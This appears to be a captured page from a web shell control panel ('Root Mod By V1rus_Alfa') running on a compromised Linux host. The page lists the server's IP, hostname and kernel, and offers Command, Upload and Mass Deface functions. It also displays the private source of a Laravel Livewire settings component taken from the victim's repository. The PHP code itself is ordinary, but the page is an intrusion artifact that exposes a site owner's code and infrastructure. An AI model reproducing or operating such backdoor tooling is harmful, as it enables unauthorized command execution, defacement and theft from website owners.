���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
app
/
Livewire
/
Site
/
Pages
/
Analyze
/
Setting
/
Viewing: Index.php
<?php namespace App\Livewire\Site\Pages\Analyze\Setting; use URL; use Carbon\Carbon; use Livewire\Component; use Modules\Central\Models\AnalyzeSetting; use Modules\Central\Models\AnalyzeUserSetting; class Index extends Component { public $settings = []; public $form = []; public $previous; public function mount() { $this->previous = URL::previous(); $this->settings = AnalyzeSetting::orderBy('priority', 'desc')->get()->groupBy('group')->all(); foreach ($this->settings as $group) { foreach ($group as $row) { $this->form[$row->key] = $row->user($row->id, $row->key) ? $row->user($row->id, $row->key)->value : $row->value; } } if (!isset($this->form['r'])) { $this->form['r'] = 0; } if (!isset($this->form['p'])) { $this->form['p'] = 0; } if (!isset($this->form['q'])) { $this->form['q'] = 0; } if (!isset($this->form['j'])) { $this->form['j'] = 0; } } public function handelProcess($type, $key) { if (!isset($this->form[$key])) { $this->form[$key] = 0; } if ($type == 'increment') { $val = $this->form[$key] + 0.1; } else { $val = $this->form[$key] - 0.1; } $this->form[$key] = round($val, 1); } public function handelSubmit() { $inserts = []; $setting = AnalyzeSetting::orderBy('priority', 'desc')->get(); foreach ($setting as $row) { $req_val = 'false'; if (isset($this->form[$row->key])) { $set_val = $this->form[$row->key]; $req_val = 'true'; } if ($req_val == 'false') { $set_val = $row->value; } $inserts[] = [ 'key' => $row->key, 'value' => $set_val, 'setting_id' => $row->id, 'user_id' => auth()->user()->id, 'created_at' => Carbon::now(), 'updated_at' => Carbon::now(), ]; } if (count($inserts) > 0) { $check = AnalyzeUserSetting::where('user_id', auth()->user()->id)->first(); if ($check) { AnalyzeUserSetting::where('user_id', auth()->user()->id)->delete(); } AnalyzeUserSetting::insert($inserts); } $this->dispatch('success', trans('container.operation successful')); return redirect($this->previous); } public function render() { return view('livewire.site.pages.analyze.setting.index') ->layout('components.layouts.site.app', ['page_name' => 'analyze', 'previousRoute' => route('analyze.start', ['locale' => 'fa'])]); } public function refreshPage() { // $this->mount(); // $this->settings = AnalyzeSetting::orderBy('priority', 'desc')->get(); // foreach ($this->settings as $row) { // $this->form[$row->key] = $row->value; // if (!isset($this->form[$row->key])) $this->form[$row->key] = 0; // } } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa